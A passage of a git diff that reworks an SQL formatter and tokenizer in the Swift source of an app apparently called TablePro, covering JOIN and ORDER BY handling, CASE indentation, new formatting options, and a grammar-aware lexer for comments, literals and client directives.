-        if next?.upperValue == "OUTER" && next2?.upperValue == "JOIN" {
-            joinWords = "\(upper) OUTER JOIN"
-            skipCount = 2
-        } else if next?.upperValue == "JOIN" {
-            joinWords = "\(upper) JOIN"
-            skipCount = 1
-        } else {
-            // `LEFT(name, 3)`, `RIGHT(code, 2)`
-            appendToken(cased(token, next: next))
+    // `LEFT JOIN`, `NATURAL LEFT OUTER JOIN`, `CROSS APPLY`, `OUTER APPLY`; anything else (`LEFT(name, 3)`, an
+    // `OUTER` on its own) is written as a word.
+    private mutating func handleJoinPrefix(_ token: SQLToken, prev: SQLToken?, next: SQLToken?) {
+        guard let length = joinLength(from: position) else {
+            appendToken(cased(token, prev: prev, next: next))
             return
         }
-        let joinKw = options.keywordCase.synthesized(joinWords)
+        let joinKw = stream[position..<(position + length)]
+            .map { options.keywordCase.applied(upper: $0.upperValue, original: $0.value) }
+            .joined(separator: " ")
+        skipCount = length - 1
         if isInsideNestedExpression {
             appendToken(joinKw)
             return
         }
         closeLists(atOrDeeperThan: indent)
         inSelectColumns = false
-        newline()
+        breakLine()
         appendToken(joinKw)
         replaceTop(with: .join)
     }
 
+    private func joinLength(from start: Int) -> Int? {
+        var index = start
+        func word(_ offset: Int) -> String? {
+            stream.indices.contains(offset) && stream[offset].type == .keyword ? stream[offset].upperValue : nil
+        }
+        if word(index) == "NATURAL" { index += 1 }
+        if let side = word(index), ["LEFT", "RIGHT", "FULL", "INNER", "CROSS"].contains(side) { index += 1 }
+        if word(index) == "OUTER" { index += 1 }
+        guard index > start, let last = token(at: index), Self.isWord(last) else { return nil }
+        if last.type == .keyword, last.upperValue == "JOIN" { return index - start + 1 }
+        // APPLY is a word anywhere but right after CROSS or OUTER (`SELECT 1 apply`).
+        if last.upperValue == "APPLY", let before = word(index - 1), before == "CROSS" || before == "OUTER" {
+            return index - start + 1
+        }
+        return nil
+    }
+
     private mutating func handleOn(kw: String) {
         if currentContext == .join && options.joinCondition == .newLine {
-            newline()
-            output += render(Pad(levels: indent + 1)) + kw
+            breakLine()
+            linePad = base.adding(levels: 1)
+            output += render(linePad) + kw
+            afterNewline = false
         } else {
-            output += " " + kw
+            appendToken(kw)
         }
-        afterNewline = false
     }
 
     private mutating func handleOrderGroup(kw: String, next: SQLToken?) {
+        // `WITHIN GROUP (...)`
+        guard let next, next.upperValue == "BY" else {
+            appendToken(kw)
+            return
+        }
+        let byKw = options.keywordCase.applied(upper: "BY", original: next.value)
+        skipCount = 1
         // Window specs and aggregates keep it inline: `OVER (ORDER BY x)`, `STRING_AGG(a, ',' ORDER BY a)`
         if clauseStack.contains(.windowParen) || isInsideNestedExpression {
-            if next?.upperValue == "BY" {
-                let byKw = options.keywordCase.synthesized("BY")
-                output += " " + kw + " " + byKw
-                afterNewline = false
-                skipCount = 1
-            } else {
-                appendToken(kw)
-            }
+            appendToken(kw)
+            appendToken(byKw)
             return
         }
         closeLists(atOrDeeperThan: indent)
         inSelectColumns = false
-        if next?.upperValue == "BY" {
-            let byKw = options.keywordCase.synthesized("BY")
-            newline()
-            output += indentStr() + kw + " " + byKw
-            afterNewline = false
-            skipCount = 1
-        } else {
-            appendToken(kw)
-        }
+        replaceTop(with: .clause)
+        breakLine()
+        appendToken(kw)
+        appendToken(byKw)
     }
 
     private mutating func handleSetOperation(upper: String, kw: String, next: SQLToken?) {
@@ -586,49 +1081,63 @@ internal struct SQLTokenFormatter {
         }
 
         var line = kw
-        if upper == "UNION" && next?.upperValue == "ALL" {
-            let allKw = options.keywordCase.synthesized("ALL")
-            line += " " + allKw
+        if let next, next.upperValue == "ALL" || next.upperValue == "DISTINCT" {
+            line += " " + options.keywordCase.applied(upper: next.upperValue, original: next.value)
             skipCount = 1
         }
 
         if clauseStack.contains(where: Self.isBlockContext) {
-            output += "\n" + indentStr() + line + "\n"
+            output += (afterNewline ? "" : "\n") + indentStr() + line + "\n"
         } else {
-            output += "\n\n" + line + "\n\n"
+            output += (afterNewline ? "\n" : "\n\n") + line + "\n\n"
         }
         afterNewline = true
+        linePad = base
     }
 
     private mutating func handleCase(kw: String) {
-        caseBasePad = inSelectColumns ? selectColumnPad : Pad(levels: indent)
+        casePads.append(linePad)
         appendToken(kw)
         clauseStack.append(.caseExpr)
     }
 
     private mutating func handleWhenElse(kw: String) {
-        let whenPad = Pad(levels: caseBasePad.levels + 1, spaces: caseBasePad.spaces)
-        output += "\n" + render(whenPad) + kw
+        let whenPad = (casePads.last ?? base).adding(levels: 1)
+        linePad = whenPad
+        output += (afterNewline ? "" : "\n") + render(whenPad) + kw
         afterNewline = false
-        suppressNextSpace = false
     }
 
     private mutating func handleEnd(kw: String) {
-        if clauseStack.last == .caseExpr { clauseStack.removeLast() }
-        output += "\n" + render(caseBasePad) + kw
+        guard clauseStack.last == .caseExpr else {
+            // `END` of a `BEGIN` block, `END IF`, `END LOOP`
+            breakLine()
+            appendToken(kw)
+            return
+        }
+        clauseStack.removeLast()
+        let casePad = casePads.popLast() ?? base
+        linePad = casePad
+        output += (afterNewline ? "" : "\n") + render(casePad) + kw
         afterNewline = false
     }
 
     private mutating func handleWith(kw: String, prev: SQLToken?) {
         // `TIMESTAMP WITH TIME ZONE` in a column list or a cast is a type, not a CTE.
+        let lineStart = output.count + (afterNewline ? 0 : 1)
         guard startStatement(kw: kw, prev: prev) else { return }
         clauseStack.append(.with)
+        if options.clauseItems == .newLine {
+            openLists.append(PendingList(kind: .cte, depth: indent, lineStart: lineStart))
+            linePad = base.adding(levels: 1)
+            pendingLead = (.cte, linePad)
+        }
     }
 
     private mutating func handleInsert(kw: String, prev: SQLToken?, next: SQLToken?) {
         guard startStatement(kw: kw, prev: prev) else { return }
-        if next?.upperValue == "INTO" {
-            output += " " + options.keywordCase.synthesized("INTO")
+        if let next, next.upperValue == "INTO" {
+            output += " " + options.keywordCase.applied(upper: "INTO", original: next.value)
             skipCount = 1
         }
         clauseStack.append(.insert)
@@ -636,7 +1145,7 @@ internal struct SQLTokenFormatter {
 
     private mutating func handleStatementStart(kw: String, prev: SQLToken?, context: ClauseContext?) {
         guard startStatement(kw: kw, prev: prev) else { return }
-        if let ctx = context { clauseStack.append(ctx) }
+        if let context { clauseStack.append(context) }
     }
 
     // Inside parentheses, a column list or after a word it modifies, a statement keyword is part of a
@@ -653,7 +1162,6 @@ internal struct SQLTokenFormatter {
         if !afterNewline { newline() }
         output += indentStr() + kw
         afterNewline = false
-        suppressNextSpace = false
         return true
     }
 
@@ -689,6 +1197,8 @@ internal struct SQLTokenFormatter {
     private mutating func close(_ list: PendingList) {
         guard !list.separators.isEmpty else { return }
         let end = output.count
+        let items = list.separators.count - (list.hasLead ? 1 : 0)
+        if items == 0, !output.containsNewline(in: list.lineStart..<end) { return }
         if options.lineWidth > 0, fitsOnOneLine(list.lineStart..<end) { return }
 
         let aliasPadding = aliasPadding(for: list)
@@ -708,6 +1218,7 @@ internal struct SQLTokenFormatter {
         }
         rebuilt.append(contentsOf: output.bytes[cursor..<end])
         output.replace(list.lineStart..<end, with: rebuilt)
+        gluePosition = nil
     }
 
     private func fitsOnOneLine(_ range: Range<Int>) -> Bool {
@@ -749,12 +1260,18 @@ internal struct SQLTokenFormatter {
         ctx == .subquery || ctx == .createTableBody
     }
 
+    // Open blocks, which is what a list is keyed by.
     private var indent: Int {
         clauseStack.reduce(into: 0) { depth, ctx in
             if Self.isBlockContext(ctx) { depth += 1 }
         }
     }
 
+    // Where a clause of the innermost block starts: one level under the line its `(` is on.
+    private var base: Pad {
+        blockOpeners.last.map { $0.adding(levels: 1) } ?? Pad(levels: 0)
+    }
+
     private mutating func replaceTop(with ctx: ClauseContext) {
         if !clauseStack.isEmpty { clauseStack.removeLast() }
         clauseStack.append(ctx)
@@ -765,12 +1282,27 @@ internal struct SQLTokenFormatter {
     }
 
     private func indentStr() -> String {
-        render(Pad(levels: indent))
+        render(base)
     }
 
     private mutating func newline() {
         output += "\n"
         afterNewline = true
+        linePad = base
+    }
+
+    private mutating func breakLine() {
+        if afterNewline {
+            linePad = base
+        } else {
+            newline()
+        }
+    }
+
+    // Written with no space before it: a closing paren, a comma, a call's paren.
+    private mutating func writeGlued(_ value: String) {
+        output += afterNewline ? indentStr() + value : value
+        afterNewline = false
     }
 
     private mutating func appendToken(_ value: String) {
@@ -782,7 +1314,7 @@ internal struct SQLTokenFormatter {
             output += " " + value
         }
         afterNewline = false
-        suppressNextSpace = false
+        gluePosition = nil
     }
 }
 
diff --git a/apple/TablePro/Core/Services/Formatting/SQLFormatterTypes.swift b/apple/TablePro/Core/Services/Formatting/SQLFormatterTypes.swift
index 5549c5e8b0..31bb4a1c81 100644
--- a/apple/TablePro/Core/Services/Formatting/SQLFormatterTypes.swift
+++ b/apple/TablePro/Core/Services/Formatting/SQLFormatterTypes.swift
@@ -5,7 +5,6 @@
 
 import Foundation
 
-// A word the formatter writes itself, the `BY` of `ORDER BY`, has no spelling to preserve: lower case.
 enum SQLFormatterCase: String, Codable, CaseIterable, Sendable {
     case upper
     case lower
@@ -18,13 +17,6 @@ enum SQLFormatterCase: String, Codable, CaseIterable, Sendable {
         case .preserve: return original
         }
     }
-
-    func synthesized(_ upper: String) -> String {
-        switch self {
-        case .upper: return upper
-        case .lower, .preserve: return upper.lowercased()
-        }
-    }
 }
 
 enum SQLFormatterIndentStyle: String, Codable, CaseIterable, Sendable {
@@ -42,7 +34,18 @@ enum SQLFormatterJoinCondition: String, Codable, CaseIterable, Sendable {
     case sameLine
 }
 
-// The rule set the formatter runs with, and the JSON a rules file holds.
+enum SQLFormatterClauseItems: String, Codable, CaseIterable, Sendable {
+    case sameLine
+    case newLine
+}
+
+enum SQLFormatterLogicalOperatorNewline: String, Codable, CaseIterable, Sendable {
+    case before
+    case after
+}
+
+// The rule set the formatter runs with. Settings store it under their own keys (`SQLFormatterSettings`), a rules
+// file under sql-formatter's (`SQLFormatterRulesFile`).
 struct SQLFormatterOptions: Equatable, Sendable {
     static let indentWidthRange = 1...16
     static let lineWidthRange = 0...1_000
@@ -56,6 +59,10 @@ struct SQLFormatterOptions: Equatable, Sendable {
     var lineWidth: Int = 0
     var joinCondition: SQLFormatterJoinCondition = .newLine
     var alignAliases: Bool = false
+    var clauseItems: SQLFormatterClauseItems = .sameLine
+    var logicalOperatorNewline: SQLFormatterLogicalOperatorNewline = .before
+    // Applies only where the engine reads a type name in any case; ClickHouse's `String` is not `STRING`.
+    var dataTypeCase: SQLFormatterCase = .preserve
 
     static let `default` = SQLFormatterOptions()
 
@@ -64,65 +71,6 @@ struct SQLFormatterOptions: Equatable, Sendable {
     }
 }
 
-extension SQLFormatterOptions: Codable {
-    enum CodingKeys: String, CodingKey, CaseIterable {
-        case indentStyle
-        case indentWidth
-        case keywordCase
-        case functionCase
-        case commaPosition
-        case lineWidth
-        case joinCondition
-        case alignAliases
-    }
-
-    // Strict, for files: a value this build can't read throws, a key it doesn't know is ignored.
-    init(from decoder: Decoder) throws {
-        let container = try decoder.container(keyedBy: CodingKeys.self)
-        let fallback = Self.default
-        indentStyle = try container.decodeIfPresent(SQLFormatterIndentStyle.self, forKey: .indentStyle)
-            ?? fallback.indentStyle
-        indentWidth = try Self.decodeInt(container, .indentWidth, in: Self.indentWidthRange) ?? fallback.indentWidth
-        keywordCase = try container.decodeIfPresent(SQLFormatterCase.self, forKey: .keywordCase) ?? fallback.keywordCase
-        functionCase = try container.decodeIfPresent(SQLFormatterCase.self, forKey: .functionCase)
-            ?? fallback.functionCase
-        commaPosition = try container.decodeIfPresent(SQLFormatterCommaPosition.self, forKey: .commaPosition)
-            ?? fallback.commaPosition
-        lineWidth = try Self.decodeInt(container, .lineWidth, in: Self.lineWidthRange) ?? fallback.lineWidth
-        joinCondition = try container.decodeIfPresent(SQLFormatterJoinCondition.self, forKey: .joinCondition)
-            ?? fallback.joinCondition
-        alignAliases = try container.decodeIfPresent(Bool.self, forKey: .alignAliases) ?? fallback.alignAliases
-    }
-
-    func encode(to encoder: Encoder) throws {
-        var container = encoder.container(keyedBy: CodingKeys.self)
-        try container.encode(indentStyle, forKey: .indentStyle)
-        try container.encode(indentWidth, forKey: .indentWidth)
-        try container.encode(keywordCase, forKey: .keywordCase)
-        try container.encode(functionCase, forKey: .functionCase)
-        try container.encode(commaPosition, forKey: .commaPosition)
-        try container.encode(lineWidth, forKey: .lineWidth)
-        try container.encode(joinCondition, forKey: .joinCondition)
-        try container.encode(alignAliases, forKey: .alignAliases)
-    }
-
-    private static func decodeInt(
-        _ container: KeyedDecodingContainer<CodingKeys>,
-        _ key: CodingKeys,
-        in range: ClosedRange<Int>
-    ) throws -> Int? {
-        guard let value = try container.decodeIfPresent(Int.self, forKey: key) else { return nil }
-        guard range.contains(value) else {
-            throw DecodingError.dataCorruptedError(
-                forKey: key,
-                in: container,
-                debugDescription: "\(key.stringValue) must be between \(range.lowerBound) and \(range.upperBound)"
-            )
-        }
-        return value
-    }
-}
-
 struct SQLFormatterResult {
     let formattedSQL: String
     let cursorOffset: Int?
@@ -135,20 +83,23 @@ struct SQLFormatterResult {
 
 enum SQLFormatterError: LocalizedError {
     case emptyInput
+    case inputTooLarge(maxBytes: Int)
     case dialectUnsupported(DatabaseType)
     case invalidCursorPosition(Int, max: Int)
-    case internalError(String)
 
     var errorDescription: String? {
         switch self {
         case .emptyInput:
             return String(localized: "Cannot format empty SQL")
+        case .inputTooLarge(let maxBytes):
+            return String(
+                format: String(localized: "The query is larger than %@, too large to format."),
+                ByteCountFormatter.string(fromByteCount: Int64(maxBytes), countStyle: .file)
+            )
         case .dialectUnsupported(let type):
             return String(format: String(localized: "Formatting not supported for %@"), type.rawValue)
         case .invalidCursorPosition(let pos, let max):
             return String(format: String(localized: "Cursor position %d exceeds SQL length (%d)"), pos, max)
-        case .internalError(let message):
-            return String(format: String(localized: "Formatter error: %@"), message)
         }
     }
 }
@@ -160,6 +111,10 @@ protocol SQLDialectProvider {
     var identifierQuote: String { get }
     // False where the engine rejects a built-in function spelled in another case (ClickHouse).
     var functionNamesAreCaseInsensitive: Bool { get }
+    // False where a type name is matched by exact case (ClickHouse's `String`), or the dialect does not say.
+    var typeNamesAreCaseInsensitive: Bool { get }
+    // Symbols the engine reads as one operator, such as PostgreSQL's `@>` and `#>>`.
+    var operators: Set<String> { get }
 
     func isKeyword(_ token: String) -> Bool
     func isFunction(_ token: String) -> Bool
diff --git a/apple/TablePro/Core/Services/Formatting/SQLTokenizer.swift b/apple/TablePro/Core/Services/Formatting/SQLTokenizer.swift
index 0bf2a778a7..2debcf7357 100644
--- a/apple/TablePro/Core/Services/Formatting/SQLTokenizer.swift
+++ b/apple/TablePro/Core/Services/Formatting/SQLTokenizer.swift
@@ -2,13 +2,9 @@
 //  SQLTokenizer.swift
 //  TablePro
 //
-//  Character-by-character SQL lexer producing a flat token stream.
-//  No regex — handles string escapes, comments, operators, and quoted identifiers.
-//
 
 import Foundation
-
-// MARK: - Token Types
+import TableProSQLGrammar
 
 enum SQLTokenType: Equatable {
     case keyword
@@ -20,14 +16,14 @@ enum SQLTokenType: Equatable {
     case whitespace
     case comment
     case placeholder
+    // A line the client reads and the server never sees: `GO` in a T-SQL script, `DELIMITER //` in a MySQL one,
+    // a lone `/` in a SQL*Plus one.
+    case directive
 }
 
-// MARK: - Token
-
 struct SQLToken: Equatable {
     let type: SQLTokenType
     let value: String
-    /// Pre-computed uppercase value for keyword comparison
     let upperValue: String
 
     init(type: SQLTokenType, value: String) {
@@ -37,11 +33,12 @@ struct SQLToken: Equatable {
     }
 }
 
-// MARK: - Tokenizer
-
+// Comments, literals, quoted identifiers and batch lines end where the engine's grammar says (`SQLNonCodeSpan`), so a
+// formatted query keeps every one of them byte for byte. Only code between them is split into words and operators.
+//
+// Without a grammar the text is read exactly as before the formatter read grammars, because the query fingerprint is
+// the one caller and its hashes are stored: a different reading would split or merge history groups after an upgrade.
 struct SQLTokenizer {
-    /// Standard SQL keywords used for keyword detection.
-    /// Dialect-specific keywords are handled separately via SQLDialectProvider.
     private static let standardKeywords: Set<String> = [
         // DML
         "SELECT", "FROM", "WHERE", "AND", "OR", "NOT", "IN", "IS", "NULL",
@@ -82,16 +79,59 @@ struct SQLTokenizer {
         "TOP", "PERCENT",
     ]
 
-    /// Additional keywords from the dialect provider
+    // No engine reads one of these as two valid operators, so a run written together stays together whatever the
+    // dialect declares: T-SQL's `+=`, SQLite's `==`, Oracle's `^=` and `**`, DuckDB's `//`. `<@` is not here: T-SQL
+    // reads `a<@b` as `a < @b`.
+    private static let commonOperators: Set<String> = [
+        ">=", "<=", "<>", "!=", "!<", "!>", "||", "::", "->", "->>", ":=", "=>", "<=>", "&&", "<<", ">>",
+        "+=", "-=", "*=", "/=", "%=", "&=", "|=", "^=", "~=", "==", "**", "//",
+    ]
+
     private let dialectKeywords: Set<String>
+    private let operatorsByFirstUnit: [UInt16: [String]]
 
-    init(dialectKeywords: Set<String> = []) {
+    init(dialectKeywords: Set<String> = [], operators: Set<String> = []) {
         self.dialectKeywords = dialectKeywords
+        let multiCharacter = Self.commonOperators.union(operators.filter { symbol in
+            symbol.utf16.count > 1 && symbol.utf16.allSatisfy(Lexer.isOperatorUnit)
+        })
+        var byFirst: [UInt16: [String]] = [:]
+        for symbol in multiCharacter {
+            guard let first = symbol.utf16.first else { continue }
+            byFirst[first, default: []].append(symbol)
+        }
+        self.operatorsByFirstUnit = byFirst.mapValues { $0.sorted { $0.utf16.count > $1.utf16.count } }
     }
 
-    // MARK: - Public API
-
     func tokenize(_ sql: String) -> [SQLToken] {
+        readsWithoutGrammar(sql)
+    }
+
+    func tokenize(_ sql: String, grammar: SQLLexicalGrammar) -> [SQLToken] {
+        var lexer = Lexer(text: sql as NSString, grammar: grammar, tokenizer: self)
+        return lexer.run()
+    }
+
+    // The 0-based lines on which `text` holds a client directive under `grammar`.
+    func directiveLines(in text: String, grammar: SQLLexicalGrammar) -> Set<Int> {
+        var lines: Set<Int> = []
+        var line = 0
+        for token in tokenize(text, grammar: grammar) {
+            if token.type == .directive { lines.insert(line) }
+            line += token.value.utf16.reduce(0) { $0 + ($1 == 0x0A ? 1 : 0) }
+        }
+        return lines
+    }
+
+    fileprivate func isKeyword(_ upperWord: String) -> Bool {
+        Self.standardKeywords.contains(upperWord) || dialectKeywords.contains(upperWord)
+    }
+
+    fileprivate func operatorCandidates(startingWith unit: UInt16) -> [String] {
+        operatorsByFirstUnit[unit] ?? []
+    }
+
+    private func readsWithoutGrammar(_ sql: String) -> [SQLToken] {
         var tokens: [SQLToken] = []
         let chars = Array(sql)
         let count = chars.count
@@ -245,7 +285,7 @@ struct SQLTokenizer {
                 continue
             }
 
-            // Unknown character — treat as operator
+            // Unknown character, treated as an operator
             tokens.append(SQLToken(type: .operator, value: String(ch)))
             i += 1
         }
@@ -253,3 +293,408 @@ struct SQLTokenizer {
         return tokens
     }
 }
+
+private struct Lexer {
+    private static let singleQuote = UInt16(UnicodeScalar("'").value)
+    private static let doubleQuote = UInt16(UnicodeScalar("\"").value)
+    private static let backtick = UInt16(UnicodeScalar("`").value)
+    private static let openBracket = UInt16(UnicodeScalar("[").value)
+    private static let closeBracket = UInt16(UnicodeScalar("]").value)
+    private static let closeParen = UInt16(UnicodeScalar(")").value)
+    private static let plus = UInt16(UnicodeScalar("+").value)
+    private static let minus = UInt16(UnicodeScalar("-").value)
+    private static let dot = UInt16(UnicodeScalar(".").value)
+    private static let slash = UInt16(UnicodeScalar("/").value)
+    private static let underscore = UInt16(UnicodeScalar("_").value)
+    private static let dollar = UInt16(UnicodeScalar("$").value)
+    private static let hash = UInt16(UnicodeScalar("#").value)
+    private static let at = UInt16(UnicodeScalar("@").value)
+    private static let colon = UInt16(UnicodeScalar(":").value)
+    private static let question = UInt16(UnicodeScalar("?").value)
+    private static let ampersand = UInt16(UnicodeScalar("&").value)
+    private static let newline = UInt16(UnicodeScalar("\n").value)
+    private static let carriageReturn = UInt16(UnicodeScalar("\r").value)
+    private static let space = UInt16(UnicodeScalar(" ").value)
+    private static let tab = UInt16(UnicodeScalar("\t").value)
+    private static let punctuationUnits: Set<UInt16> = Set("(),;.".utf16)
+    private static let operatorUnits: Set<UInt16> = Set("=<>+-*/%&|^~!@#?:$".utf16)
+    private static let delimiterWord = "DELIMITER"
+
+    static func isOperatorUnit(_ unit: UInt16) -> Bool {
+        operatorUnits.contains(unit)
+    }
+
+    let text: NSString
+    let length: Int
+    let grammar: SQLLexicalGrammar
+    let tokenizer: SQLTokenizer
+    private let batchSeparatorEnds: [Int: Int]
+    private var delimiter = ";"
+    private var atStatementStart = true
+    private var tokens: [SQLToken] = []
+    private var index = 0
+
+    init(text: NSString, grammar: SQLLexicalGrammar, tokenizer: SQLTokenizer) {
+        self.text = text
+        self.length = text.length
+        self.grammar = grammar
+        self.tokenizer = tokenizer
+        var ends: [Int: Int] = [:]
+        for separator in SQLStatementScanner.batchSeparators(in: text as String, grammar: grammar) {
+            ends[separator.range.location] = NSMaxRange(separator.range)
+        }
+        self.batchSeparatorEnds = ends
+    }
+
+    mutating func run() -> [SQLToken] {
+        while index < length {
+            step()
+        }
+        return tokens
+    }
+
+    private mutating func step() {
+        let unit = text.character(at: index)
+
+        if isBlank(unit) {
+            let start = index
+            while index < length, isBlank(text.character(at: index)) {
+                index += 1
+            }
+            emit(.whitespace, from: start)
+            return
+        }
+        if let end = batchSeparatorEnds[index] {
+            let start = index
+            index = end
+            emit(.directive, from: start)
+            return
+        }
+        if unit == Self.slash, grammar.contains(.slashLineTerminators),
+           SQLStatementScanner.isSlashLine(text, at: index, length: length) {
+            let start = index
+            index += 1
+            emit(.directive, from: start)
+            return
+        }
+        if readDelimiterDirective() { return }
+        if delimiter != ";", matches(delimiter, at: index) {
+            let start = index
+            index += (delimiter as NSString).length
+            emit(.punctuation, from: start)
+            return
+        }
+        if let span = SQLNonCodeSpan.span(at: index, in: text, grammar: grammar) {
+            emitSpan(span)
+            return
+        }
+        if isDigit(unit) || startsFraction(unit) {
+            readNumber()
+            return
+        }
+        if isWordStart(unit) {
+            readWord()
+            return
+        }
+        if readPrefixedName(unit) { return }
+        readOperatorOrPunctuation(unit)
+    }
+
+    // MARK: - Spans
+
+    private mutating func emitSpan(_ span: SQLNonCodeSpan.Span) {
+        let start = index
+        index = max(span.end, index + 1)
+        switch span.kind {
+        case .lineComment:
+            var value = substring(from: start, to: index)
+            while value.hasSuffix("\r") {
+                value.removeLast()
+            }
+            append(SQLToken(type: .comment, value: value))
+        case .blockComment:
+            emit(.comment, from: start)
+        case .executableComment:
+            emit(.string, from: start)
+        case .parameter:
+            emit(.placeholder, from: start)
+        case .quoted:
+            let opener = text.character(at: start)
+            emit(opener == Self.backtick || opener == Self.openBracket ? .identifier : .string, from: start)
+        }
+    }
+
+    // MARK: - Client directives
+
+    // `DELIMITER //` at the start of a statement, on a line of its own, changes what ends a statement, as the mysql
+    // client and the import read a script.
+    private mutating func readDelimiterDirective() -> Bool {
+        guard grammar.contains(.delimiterDirective), atStatementStart, isAtLineStart(index) else { return false }
+        let wordLength = (Self.delimiterWord as NSString).length
+        guard index + wordLength < length,
+              substring(from: index, to: index + wordLength).uppercased() == Self.delimiterWord,
+              isLineBlank(text.character(at: index + wordLength))
+        else {
+            return false
+        }
+        var end = index + wordLength
+        while end < length, text.character(at: end) != Self.newline {
+            end += 1
+        }
+        let line = substring(from: index, to: end).trimmingCharacters(in: .whitespaces)
+        let newDelimiter = String(line.dropFirst(Self.delimiterWord.count)).trimmingCharacters(in: .whitespaces)
+        guard !newDelimiter.isEmpty else { return false }
+        delimiter = newDelimiter
+        append(SQLToken(type: .directive, value: line))
+        index = end
+        return true
+    }
+
+    private func isAtLineStart(_ position: Int) -> Bool {
+        var cursor = position - 1
+        while cursor >= 0 {
+            let unit = text.character(at: cursor)
+            if unit == Self.newline { return true }
+            guard isLineBlank(unit) else { return false }
+            cursor -= 1
+        }
+        return true
+    }
+
+    private func matches(_ word: String, at position: Int) -> Bool {
+        let wordLength = (word as NSString).length
+        guard position + wordLength <= length else { return false }
+        return text.substring(with: NSRange(location: position, length: wordLength)) == word
+    }
+
+    // MARK: - Numbers and words
+
+    // A word glued to a number belongs to it: `0xFF` and `0b101` are literals, and MySQL's `2fa_codes` is a name.
+    private mutating func readNumber() {
+        let start = index
+        while index < length, isDigit(text.character(at: index)) || text.character(at: index) == Self.dot {
+            index += 1
+        }
+        if index + 2 < length, isExponentMarker(text.character(at: index)),
+           [Self.plus, Self.minus].contains(text.character(at: index + 1)), isDigit(text.character(at: index + 2)) {
+            index += 2
+        }
+        while index < length, continuesWord(at: index) {
+            index += 1
+        }
+        let value = substring(from: start, to: index)
+        append(SQLToken(type: Self.isNumberLiteral(value) ? .number : .identifier, value: value))
+    }
+
+    // `.5` is a number, but the `.2fa` of MySQL's `db.2fa` is the second half of a name.
+    private func startsFraction(_ unit: UInt16) -> Bool {
+        guard unit == Self.dot, index + 1 < length, isDigit(text.character(at: index + 1)) else { return false }
+        guard index > 0 else { return true }
+        let before = text.character(at: index - 1)
+        return !isWordPart(before) && ![Self.backtick, Self.doubleQuote, Self.closeBracket, Self.closeParen].contains(before)
+    }
+
+    // `0xFF` and `0b101` are literals; MySQL's `0bar` and `0xyz` are names, since their digits are not hex or binary.
+    private static func isNumberLiteral(_ value: String) -> Bool {
+        let lower = value.lowercased()
+        if lower.count > 2, lower.hasPrefix("0x") { return lower.dropFirst(2).allSatisfy(\.isHexDigit) }
+        if lower.count > 2, lower.hasPrefix("0b") { return lower.dropFirst(2).allSatisfy { $0 == "0" || $0 == "1" } }
+        return lower.allSatisfy { $0.isNumber || $0 == "." || $0 == "e" || $0 == "+" || $0 == "-" }
+    }
+
+    // A literal introducer stays on its literal (`N'abc'`, `X'4D'`, `B'101'`, `_utf8mb4'a'`, `U&'d\0061'`). Any other
+    // word before a quote is a word (`SELECT a'alias'` is the column `a` and its alias); the formatter still writes
+    // the two together, so an introducer this list lacks keeps its literal. `E'...'` and `q'[...]'` are the grammar's.
+    private static let literalIntroducers: Set<String> = ["N", "X", "B"]
+
+    // MySQL's character sets, which `_name'...'` introduces (SHOW CHARACTER SET, 8.4).
+    private static let mySQLCharacterSets: Set<String> = [
+        "ARMSCII8", "ASCII", "BIG5", "BINARY", "CP1250", "CP1251", "CP1256", "CP1257", "CP850", "CP852", "CP866",
+        "CP932", "DEC8", "EUCJPMS", "EUCKR", "GB18030", "GB2312", "GBK", "GEOSTD8", "GREEK", "HEBREW", "HP8",
+        "KEYBCS2", "KOI8R", "KOI8U", "LATIN1", "LATIN2", "LATIN5", "LATIN7", "MACCE", "MACROMAN", "SJIS", "SWE7",
+        "TIS620", "UCS2", "UJIS", "UTF16", "UTF16LE", "UTF32", "UTF8", "UTF8MB3", "UTF8MB4",
+    ]
+
+    private static func isLiteralIntroducer(_ upperWord: String) -> Bool {
+        literalIntroducers.contains(upperWord)
+            || (upperWord.hasPrefix("_") && mySQLCharacterSets.contains(String(upperWord.dropFirst())))
+    }
+
+    private mutating func readWord() {
+        let start = index
+        index += 1
+        while index < length, continuesWord(at: index) {
+            index += 1
+        }
+        let word = substring(from: start, to: index)
+        let upper = word.uppercased()
+        if tokenizer.isKeyword(upper) {
+            append(SQLToken(type: .keyword, value: word))
+            return
+        }
+        if upper == "U", index + 1 < length, text.character(at: index) == Self.ampersand,
+           let span = quotedSpan(at: index + 1) {
+            let opener = text.character(at: index + 1)
+            index = span.end
+            append(SQLToken(type: opener == Self.singleQuote ? .string : .identifier, value: substring(from: start, to: index)))
+            return
+        }
+        if Self.isLiteralIntroducer(upper), index < length, text.character(at: index) == Self.singleQuote,
+           let span = quotedSpan(at: index) {
+            index = span.end
+            append(SQLToken(type: .string, value: substring(from: start, to: index)))
+            return
+        }
+        append(SQLToken(type: .identifier, value: word))
+    }
+
+    private func quotedSpan(at position: Int) -> SQLNonCodeSpan.Span? {
+        guard position < length else { return nil }
+        let unit = text.character(at: position)
+        guard unit == Self.singleQuote || unit == Self.doubleQuote,
+              let span = SQLNonCodeSpan.span(at: position, in: text, grammar: grammar), span.kind == .quoted
+        else {
+            return nil
+        }
+        return span
+    }
+
+    // `@name`, `@@version`, `:name`, `$1`, `?1` and T-SQL's `#temp` and `##global` are one token each.
+    private mutating func readPrefixedName(_ unit: UInt16) -> Bool {
+        let start = index
+        switch unit {
+        case Self.question:
+            if let symbol = longestOperator(at: index) {
+                index += (symbol as NSString).length
+                emit(.operator, from: start)
+                return true
+            }
+            index += 1
+            while index < length, isDigit(text.character(at: index)) {
+                index += 1
+            }
+            emit(.placeholder, from: start)
+            return true
+        case Self.colon:
+            guard index + 1 < length, isWordPart(text.character(at: index + 1)) else { return false }
+            index += 1
+            consumeWordParts()
+            emit(.placeholder, from: start)
+            return true
+        case Self.at, Self.hash:
+            var cursor = index + 1
+            if cursor < length, text.character(at: cursor) == unit {
+                cursor += 1
+            }
+            // SQLite's `@1` and T-SQL's `@1st` are parameters; `#` starts a temp table name only before a letter.
+            guard cursor < length,
+                  unit == Self.at ? isWordPart(text.character(at: cursor)) : isWordStart(text.character(at: cursor))
+            else {
+                return false
+            }
+            index = cursor
+            consumeWordParts()
+            emit(unit == Self.at ? .placeholder : .identifier, from: start)
+            return true
+        case Self.dollar:
+            guard index + 1 < length, isWordPart(text.character(at: index + 1)) else { return false }
+            index += 1
+            consumeWordParts()
+            emit(.placeholder, from: start)
+            return true
+        default:
+            return false
+        }
+    }
+
+    private mutating func consumeWordParts() {
+        while index < length, continuesWord(at: index) {
+            index += 1
+        }
+    }
+
+    // A custom delimiter ends a word it is glued to (`END$$`), as the mysql client and the import find it.
+    private func continuesWord(at position: Int) -> Bool {
+        guard isWordPart(text.character(at: position)) else { return false }
